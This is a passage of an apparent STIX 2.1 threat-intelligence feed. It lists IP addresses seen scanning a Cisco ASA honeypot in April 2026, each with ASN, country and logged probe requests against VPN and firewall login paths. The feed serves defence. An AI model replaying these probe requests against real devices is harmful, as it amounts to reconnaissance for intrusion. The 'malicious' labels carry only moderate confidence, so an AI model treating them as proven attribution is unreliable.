      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:20:11.000Z",
      "valid_until": "2026-05-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-28T07:27:49.519Z",
          "last_seen": "2026-04-28T07:28:00.012Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--12e0bdc9-ec2a-4fd0-b689-11a494fccecc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:20:11.000Z",
      "valid_until": "2026-05-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-28T07:24:19.007Z",
          "last_seen": "2026-04-29T13:26:28.810Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:20:10.000Z",
      "valid_until": "2026-05-31T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-29T02:15:47.447Z",
          "last_seen": "2026-04-29T05:05:35.809Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--01455fbf-3b68-433f-871b-b74502b4ae96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:20:10.000Z",
      "valid_until": "2026-05-31T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-29T02:53:46.970Z",
          "last_seen": "2026-04-29T02:59:56.406Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--785781be-e8d3-4038-9bca-03978c76cb69",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:20:10.000Z",
      "valid_until": "2026-05-31T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-29T02:57:58.640Z",
          "last_seen": "2026-04-29T02:57:58.640Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--33084719-dfd5-499e-b210-92940aa30a5c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:20:10.000Z",
      "valid_until": "2026-05-31T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-29T02:57:46.376Z",
          "last_seen": "2026-04-29T02:57:46.376Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--7f04d81c-4b0c-441c-9b2c-f67c677fb8ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:20:10.000Z",
      "valid_until": "2026-05-31T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-29T02:57:44.095Z",
          "last_seen": "2026-04-29T02:58:16.759Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--167af2fd-5a66-4ce3-8891-8b32b9373046",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:20:10.000Z",
      "valid_until": "2026-05-31T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-29T02:56:24.991Z",
          "last_seen": "2026-04-29T02:56:24.991Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4a3525aa-51b9-4214-9931-836e67cd319a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:20:10.000Z",
      "valid_until": "2026-05-31T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-29T02:58:05.931Z",
          "last_seen": "2026-04-29T02:58:05.931Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--6a02303e-20f7-4a86-9b29-69f28ac9b827",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:20:10.000Z",
      "valid_until": "2026-05-31T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-29T02:58:07.004Z",
          "last_seen": "2026-04-29T02:58:07.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--5673d296-b69b-4724-b033-7a02f1cbb90c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:20:10.000Z",
      "valid_until": "2026-05-31T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-29T02:55:48.099Z",
          "last_seen": "2026-04-29T02:55:48.099Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /v1/models HTTP/1.1\" 404 - geo: US; ASN 23470 (ReliableSite.Net LLC)",
      "id": "indicator--939bddcd-81e5-4238-a774-2b66eb4ae7b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.243.35.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T05:20:10.000Z",
      "valid_until": "2026-05-31T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-29T05:15:54.390Z",
          "last_seen": "2026-04-29T05:15:57.392Z",
          "country": "United States",
          "country_code": "US",
          "asn": 23470,
          "as_org": "ReliableSite.Net LLC",
          "event_types": [
            "\"GET /v1/models HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CZ; ASN 2914 (NTT America, Inc.)",
      "id": "indicator--12cdc7ae-59d2-4668-b259-dd7fc99d2406",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.153.163.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T05:20:10.000Z",
      "valid_until": "2026-05-31T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-29T05:09:04.190Z",
          "last_seen": "2026-04-29T05:09:04.980Z",
          "country": "Czechia",
          "country_code": "CZ",
          "asn": 2914,
          "as_org": "NTT America, Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--939b9f36-bfb4-48be-a92b-fac87a08820f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '209.101.253.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T10:20:10.000Z",
      "valid_until": "2026-05-31T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-29T10:03:47.274Z",
          "last_seen": "2026-04-29T10:03:47.853Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--855f6270-5ec0-4039-8fb1-cd3ced6f3a6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T12:20:10.000Z",
      "valid_until": "2026-05-31T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T19:25:17.421Z",
          "last_seen": "2026-04-29T11:45:52.097Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T13:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--c0907e16-1036-4e95-957b-599c9e2d4d9d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:20:07.000Z",
      "valid_until": "2026-05-31T13:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-29T13:04:51.096Z",
          "last_seen": "2026-04-29T13:04:58.992Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T13:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--245048df-ef93-4310-9c26-af80fcc0d254",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T13:20:07.000Z",
      "valid_until": "2026-05-31T13:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-29T13:18:52.811Z",
          "last_seen": "2026-04-29T13:18:55.815Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--4ddb73f1-754f-4860-a39b-2536190e2937",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:20:05.000Z",
      "valid_until": "2026-05-31T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-29T15:44:28.083Z",
          "last_seen": "2026-04-29T15:44:35.785Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8b4b01de-d857-4e32-aeb5-7b454ff14d0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:20:05.000Z",
      "valid_until": "2026-05-31T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-29T15:21:45.942Z",
          "last_seen": "2026-04-29T15:21:56.468Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6a2fb183-fbef-4147-8fa2-362ae410b124",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T16:20:05.000Z",
      "valid_until": "2026-05-31T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-23T02:38:21.056Z",
          "last_seen": "2026-04-29T15:24:31.936Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--5ea6274a-12c3-4035-bbb4-c1ae78ea0295",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:20:10.000Z",
      "valid_until": "2026-05-31T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-29T19:24:22.504Z",
          "last_seen": "2026-04-29T19:24:35.025Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T20:20:10.000Z",
